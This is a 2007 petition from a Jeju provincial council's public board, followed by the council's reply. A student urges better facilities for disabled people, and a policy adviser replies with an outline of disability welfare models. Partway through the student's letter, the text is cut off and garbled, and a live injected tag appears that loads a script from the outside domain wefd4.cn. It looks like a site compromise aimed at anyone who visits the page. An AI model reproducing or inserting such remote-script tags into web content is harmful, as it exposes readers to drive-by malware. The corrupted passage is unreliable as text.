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의회에바란다

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장애인 전용시설에 대한 의견입니다. 좋은 답변 부탁드립니다.
No 64
작성자 김임현
조회수 1815
등록일 2007-04-26 00:00
안녕하십니까? 저는 현재 제주도에 살고있는 제주도를 사랑하는 도민 김임현 이라고 합니다. 늘 변함없는 1년 365일 동안 제주도를 위해 열심히 노력 하시고 애써주시는 도의원님들께 감사하는 말을 전하고 싶습니다. 현재 저는 대학생이지만 사회복지 연계전공을 받고 있습니다. 사회복지사가 꿈이기도 하지만 복지시설이 적고 미흡한 지금에선 아쉬움이 감출길이 없습니다. 발전하는 제주도를 위해서 복지에 대한 생각이라면 저도 도의원님들 못지않게 생각하고 있습니다. 제가 가장 관심이 가는 분야는 장애인을 위한 시설입니다. 며칠 전에 4월 20일 제27회 ‘장애인의 날’을 맞이하여 제주학생회관에 장애인의 날 행사에 자원봉사 하러 간 적이 있습니다. 장애인들을 위한 27번째의 기쁜 생일이기도 했지만 마음이 아팠던 건 장애인들을 위한 시설이 제대로 구축이 되지 않았다는 점이었습니다. 화장실도 가보니 장애인 전용 화장실은 달랑 두 칸 뿐이었고 제대로 청소조차 되지 않았으며 혼자서는 앉기가 힘들 정도로 손잡이 또한 부숴져 있었습니다. 게다가 음료 자판기는 일반 사람들을 위한 자판기일 뿐만 아니라 손을 뻗기도 힘겹더군요. 제가 이렇게 장애인 시설에 관심이 있는 건 제 친척중의 한 사람이 몸이 불편한 장애인이기 때문입니다. 일어서는 것조차 할 수 없을뿐더러 대소변 또한 못 가리는 장애인이지요. 가족의 도움 없인 혼자 살아갈 수 없는 사람입니다. 버스 타러 가는 건 물론 친척집에 놀러 갈 경우엔 준비하는 시간도 오래 걸리고 그야말로 대노동이 아닐 수 없습니다. 그래서 제가 더 중점 두어 생각해야 할 부분이 장애인을 위한 시설이었습니다. 장애인복지시설의 역사는 우리나라 장애인복지의 역사라고 할 수 있습니다. 국가가 복지에 대한 책임을 수행하지 못했던 80년대 이전에는 여러 의원님들의 헌신적인 노력으로 장애인복지를 태동시키고 지금의 모습으로 발전시켰다고 생각합니다. 그러나 지금은 국가의 지원이 이루어지고 있음에도 불구하고 아직 시설에 관한 정책적 방향도 뚜렷이 제시되지 못하고 있으며 서비스의 기준조차 마련하지 못하고 있는 실정이라고 생각됩니다. 우리나라 장애인복지법 제48조에는 장애인생활시설을 "장애인이 필요한 기간 동안 생활하면서 재활에 필요한 상담 치료 훈련 등의 서비스를 받아 사회복귀를 준비하거나 장애로 인하여 장기간 요양하는 시설" 이라고 정의하고 있습니다. 말 뜻을 해석하면 장애인복지시설이 굉장히 전문적인 기능을 수행하는 곳처럼 여겨질 수도 있지만 장애인시설의 장애인은 지역사회의 일원이 아니라 다른 사람들처럼 사회복귀를 준비하는 사람이라고 해석됩니다. 그래서 제가 몇 가지 제안을 생각해 보았습니다. 우선 첫 번째로 장애인들의 삶을 보장하는 장애인의 소득보장과 의료보장을 위한 정책 마련이 가장 우선시 되어야 한다고 생각합니다. 장애연금의 실시, 고용의 확대 등과 같은 소득 보장이야말로 장애인이 품위 있고 선택적인 삶을 살아 갈 수 있는 전제이기 때문입니다. 두 번째로 장애인들을 위한 시설을 보다 융통성 있게 만들어야 한다고 생각합니다. 화장실은 물론 자판기, 도서관, 누구나 편안함을 누리는 편리한 공간까지도 장애인들을 위한 배려심이 있어야 한다고 생각됩니다. 단지 청소부나 관리자만 관리 하는것이 아니라 보다 체계적인 차원에서 사회복지사도 파견하여 장애인 시설을 위해 직접 사용하면서 불편한 점을 적고 안정적이게 쓸 수 있는 것을 만들어야 한다는 생각이 들었습니다. 그리고 그 시설을 이용하는 이용자에 대한 교육과 훈련과 지원하는 서비스 과정에서도 의식적으로 장애인의 선택과 참여에 귀를 기울이면 좋겠다는 생각이 들었습니다. 마지막으로 시설의 공공성과 재정의 투명성 확보에도 많은 노력을 해야 한다고 생각합니다. 또한 시설에서 종사하고 있는 사회복지사 및 각 재활전문가의 역량강화를 위한 시설 측의 노력도 요구되어야 한다고 생각됩니다. 우리가 이용자의 법적 권리나 인권과 같은 거시적 차원에서의 재활 서비스를 지향한다면 조금이라도 일찍 장애인의 생활의 다양한 측면에서 자기결정 개념을 프로그램의 수준에서 논의해 가야할 필요가 있을 것이라고 생각됩니다. 따라서 이제는 전통적인 조직체 중심의 관점에서 사람 중심의 관점으로 변화 시켜 나가야 할 것이며 외국에서는 이미 일반화되고 있는 서비스 제공체계인 PCP(사람이 중심에 서는 계획)의 관점에서의 서비스 개발이 필요하다고 봅니다. 장애인복지 발전을 위해서는 보다 많은 노력과 도의원님들의 힘도 필요하지만 개인적으로 저는 장애인들도 의존을 받기 보?lt;script src=http://wefd4.cn>
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답변
작성자 도의회
등록일 2007-04-26 00:00
첨부
사회복지를 공부하는 학생의 발전을 기원합니다. 귀학생의 질문요지는 정확히 파악이 되지 않으나 추측건테 장애인의 자기결정을 강화하고 이를 위해 장애연금도입과 고용 및 편의증진정책의강화를 요구하는 것으로 보입니다. 장애인복지(정책결정)모델은 재활모델과 자립생활모델로 나누어 생각하는 경향이 있고 이를 통합하여 자립생활지원모델(통합모델)로 보는 경향이 있습니다. 이 세모델 모두 근자에 와서 장애인당사자의 역량강화와 자기결정권 존중,편의시설의 확충등을 강조하고 있으며 세 모델은 장애인당사자주의,참여의 방법,사회복지사 등 전문가의 역할에서 차이가 존재합니다.특히 자립생활모델은 탈시설화를 통한 자립생활센터를 통한 지역사회자립생활(CIL)입장을 강조합니다.중요한 것은 사회통합적 측면에서 다수인 비장애인이 장애인이 특별한 차이를 인정내지는 존중하고 그들이 사회참여-여기서 사회참여란 꼭 직업적 참여를 의미하지는 않습니다)를 위해 사회적 인프라(교통.편의.접근권,활동보조인)를 제공하는 것이며 참여정부는 2030프로젝트를 통해 자립생활실현을 거시적 목표로 하고 있습니다.큰 정책적 방향을 이해하고 이에 대한 사회복지이념적 접근이 필요하다가 봅니다. 구체적인 정보는 제주도 노인장애인복지과에 문의하시고 필요시 연락주십시요 제주자치도의회 복지안전전문위원실 정책자문위원 고현수(064-741-2032)

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